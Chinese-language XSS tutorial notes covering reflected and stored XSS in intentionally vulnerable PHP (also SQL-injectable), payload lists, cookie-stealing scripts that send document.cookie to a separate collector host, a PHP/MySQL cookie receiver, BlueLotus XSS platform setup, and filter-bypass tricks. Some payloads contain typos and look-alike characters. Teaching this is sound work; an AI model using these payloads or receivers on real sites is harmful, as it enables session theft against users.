XSS跨站攻击漏洞
一 概述
1 XSS概述
xss全称为:Cross Site Scripting,指跨站攻击脚本,XSS漏洞发生在前端,攻击的是浏览器的解析引擎,XSS就是让攻击者的JavaScript代码在受害者的浏览器上执行。
XSS攻击者的目的就是寻找具有XSS漏洞的网页,让受害者在不知情的情况下,在有XSS漏洞的网页上执行攻击者的JavaScript代码。
XSS是提前埋伏好漏洞陷阱,等着受害者上钩。既然攻击者是执行JavaScript代码,所以攻击的语句应该能让JavaScript运行。
有两种途径
第一种 反射型
直接将js代码附在url中,把url发送给指定的用户。引诱其点击。
第二种 存储型
把js代码通过后端漏洞,存入数据库中,由于页面在接受服务器返回响应时会从数据库中取出js代码,造成访问该页面的所有用户被攻击。
2 危害
1.页面挂马 2.获取用户的cookie 3.ddos攻击 4.钓鱼攻击 5.篡改数据 6.传播病毒
二 原理
1 反射型
(1)用户输入内容,直接显示在页面
php
<?php$content = $_GET["content"];echo "$content" ?>
payload
192.172.10.41/week3/demo1.php?content=<script>alert(1)</script>
(2)将用户输入的内容,回显在标签对中
php
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Document</title> </head> <body><div><?php$content = $_GET["content"];echo "$content"?></div> </body> </html>
payload
192.172.10.41/week3/demo1.php?content=hello
(3) 将用户的输入回显在标签属性中
php
<!DOCTYPE html> <html lang="en"> <head><meta charset="UTF-8"><title>Document</title> </head> <body><div><?php$content = $_GET["content"];?><input type="text" value="<?=$content;?>"></div> </body> </html>
payload
闭合标签,添加script标签 192.172.10.41/week3/demo1.php?content=hello"><script>alert(1)</script><!-- 添加事件 192.172.10.41/week3/demo1.php?content=hello" οnmοuseοver="alert(1) 嵌入网页 192.172.10.41/week3/demo1.php?content="><iframe src="https://www.taobao.com" width="100%" heigth="100%" ></iframe><!-- 添加页面元素 192.172.10.41/week3/demo1.php?content="><img src="./image/dateme.gif" οnclick="alert(1)"><!--
XSS常用测试语句
<script>alert(1)</script> <img src=1 οnerrοr=alert(1)> <svg οnlοad=alert(1)> <a href=javascript:alert(1)> <input οnfοcus=write(1) autofocus>
2 存储型
将攻击脚本通过后端写入到数据库中,用户在访问页面时,后端通过查询将所有数据回显在页面触发攻击。
php-add
<?phpinclude "utils/dbUtil.php"; //1.接收用户输入$content = $_GET['content'];//2.sql$sql = "insert into week3_test values(default,'$content')";//3.执行sql$res = executeSql($sql);//判断结果if($res){echo "success";}else{echo "error";} ?>
192.172.10.41/week3/demo2-xss存储型-add.php?content=百度<script>alert(1)</script>
php-findById
<?phpinclude "utils/dbUtil.php"; //1.接收用户输入$id = $_GET['id'];//2.sql$sql = "select * from week3_test where id=$id";//3.执行sql$res = queryOne($sql);//判断结果if($res){print_r($res);}else{echo "error";} ?>
192.172.10.41/week3/demo3-xss存储型-findById.php?id=4
三 XSS获取Cookie
1 发送cookie
php
<?phpsession_start();$content = $_GET["content"];echo $content; ?>
注入代码
PHP后台需要将 + 号处理为:%2B,将 & 处理为 %26 语法获取浏览器cookie值 document.cookie发送请求 <script>location.href=url</script><script>location.href="http://ip.php?cookie="%2bocument.cookie</script><script>new Image().src="http://ip.php?cookie="%2bocument.cookie</script>
2 准备C2服务器
搭建phpstudy环境
-
安装phpstudy
-
打开软件,启动Apache和MySQL服务。
-
点击网站,点击管理里的根目录。这里面放的是我们需要去执行的文件,也就是www目录下面。
-
我们在这个文件里面创建一个简单的php文件。
-
打开浏览器,输入http://localhost/phpinfo.php。phpinfo.php是你写的文件名
开发xss服务器端
表
CREATE TABLE `getcookie` (`id` int(0) NOT NULL AUTO_INCREMENT,`url` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`cookie` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL,`createtime` timestamp(0) NULL DEFAULT NULL,PRIMARY KEY (`id`) USING BTREE ) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin ROW_FORMAT = Dynamic;
php
<?php$url = $_GET['url'];$cookie = $_GET['cookie'];//1.连接数据库 参数说明: ip 账号 密码 数据库$conn = mysqli_connect("127.0.0.1",'root','root','part3'); //2.设置编码格式utf-8mysqli_query($conn,"set names utf8");//3.sql$sql = "insert into getcookie(url,cookie,createtime) values('$url','$cookie',now())";//4.执行sql$res = mysqli_query($conn,$sql) or die("执行失败".mysqli_error($conn)); ?>
3 开始注入获取cookie
192.172.10.41/week3/demo1-xss反射型.php?content=hello<script>new Image().src="http://192.172.10.40/getcookie.php?url="%2Bdocument.cookie%2B"%26cookie="%2Blocation.href </script>
四 BlueLotusXSS平台使用
一、安装
下载地址 GitHub - sqlsec/BlueLotus_XSSReceiver: XSS平台 CTF工具 Web安全工具
1 上传BlueLotus_XSSReceiver-master.zip到xampp
把BlueLotus_XSSReceiver-master.zip上传到CentOS的/opt/lampp/htdocs目录,并解压 解压 unzip BlueLotus_XSSReceiver-master.zip
2 访问:192.172.10.41/BlueLotus_XSSReceiver-master/install.php
按照提示将config-sample.php改名为config.php 不要点安装
3 配置目录权限
执行命令:chmod o+w data myjs template
4 登录
登录地址 http://192.172.10.41/BlueLotus_XSSReceiver-master/login.php 登录密码 bluelotus
5 进入首页
二、定制XSS代码
1 生成payload
生成Payload后,直接将其代码复制到XSS页面中即可
2 在页面上注入代码
192.172.10.41/week3/demo1-xss反射型.php?content=hello<script src="http://192.172.10.41/BlueLotus_XSSReceiver-master/myjs/getcookie.js"></script>
接收到数据
https://github.com/sqlsec/BlueLotus_XSSReceiver
五 XSS的防御和绕过
1 防御
(1) 前端校验 针对用户输入框进行js校验。
(2)通过函数对用户输入内容中的特殊符号进行转码.
htmpspcialchars(字符串,ENT_QUOTES); ENT_QUOTES表示对单引号进行转码
(3)通过字符串替换:替换规则需要考虑各种覆盖。
str_replace()
2 绕过
(1)针对前端校验
在浏览器上禁用js 通过工具或者协议绕过前端。
(2)函数替换
1 可以使用实体转码j 2 大小写绕过: 针对没有忽略大小写 <Script></sCript> 3 双写绕过 str_replace("script","",$str); scrscriptipt 4 如果对空格进行了替换 使用 %0或者%0d绕过